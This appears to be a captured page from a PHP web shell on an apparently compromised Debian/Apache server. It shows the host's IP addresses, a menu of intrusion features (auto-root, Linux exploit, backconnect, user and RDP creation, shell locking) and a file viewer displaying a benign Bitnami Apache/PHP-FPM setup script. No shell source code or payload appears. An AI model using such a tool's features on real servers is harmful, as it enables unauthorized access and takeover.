Linux ip-172-26-5-244 6.1.0-28-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.119-1 (2024-11-22) x86_64
Apache
: 172.26.5.244 | : 216.73.216.21
Cant Read [ /etc/named.conf ]
8.3.14
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
opt /
bitnami /
scripts /
apache-php-fpm /
[ HOME SHELL ]
Name
Size
Permission
Action
postunpack.sh
2.1
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : postunpack.sh
#!/bin/bash # Copyright Broadcom, Inc. All Rights Reserved. # SPDX-License-Identifier: APACHE-2.0 # shellcheck disable=SC1091 set -o errexit set -o nounset set -o pipefail # set -o xtrace # Uncomment this line for debugging purposes # Load libraries . /opt/bitnami/scripts/libversion.sh . /opt/bitnami/scripts/libapache.sh # Load Apache environment . /opt/bitnami/scripts/apache-env.sh . /opt/bitnami/scripts/php-env.sh # Enable required Apache modules declare -a enable_modules=( actions_module http2_module mpm_event_module proxy_fcgi_module ) for module in "${enable_modules[@]}"; do apache_enable_module "$module" done # Add libphp with the sole purpose of including it in the 'httpd.conf' configuration file, it will be disabled below php_version="$("${PHP_BIN_DIR}/php" -v | grep ^PHP | cut -d' ' -f2))" php_major_version="$(get_sematic_version "$php_version" 1)" if [[ "$php_major_version" -eq "8" ]]; then php_module="php_module" apache_enable_module "$php_module" "modules/libphp.so" else php_module="php${php_major_version}_module" apache_enable_module "$php_module" "modules/libphp${php_major_version}.so" fi # Disable incompatible Apache modules declare -a disable_modules=( mpm_prefork_module "$php_module" ) for module in "${disable_modules[@]}"; do apache_disable_module "$module" done # Write Apache configuration apache_php_fpm_conf_file="${APACHE_CONF_DIR}/bitnami/php-fpm.conf" cat >"$apache_php_fpm_conf_file" <<EOF DirectoryIndex index.html index.htm index.php <IfDefine USE_PHP_FPM> <Proxy "unix:${PHP_TMP_DIR}/www.sock|fcgi://www-fpm" timeout=300> </Proxy> <FilesMatch \.php$> <If "-f %{REQUEST_FILENAME}"> SetHandler "proxy:fcgi://www-fpm" </If> </FilesMatch> </IfDefine> EOF apache_conf_add="# This enables PHP-FPM when mod_php is disabled <IfModule !${php_module}> AddType application/x-httpd-php .php Action application/x-httpd-php \"/bitnami-error-php-fpm-did-not-handle-the-connection\" Define USE_PHP_FPM Include \"${apache_php_fpm_conf_file}\" </IfModule>" ensure_apache_configuration_exists "$apache_conf_add" "Define USE_PHP_FPM"
Close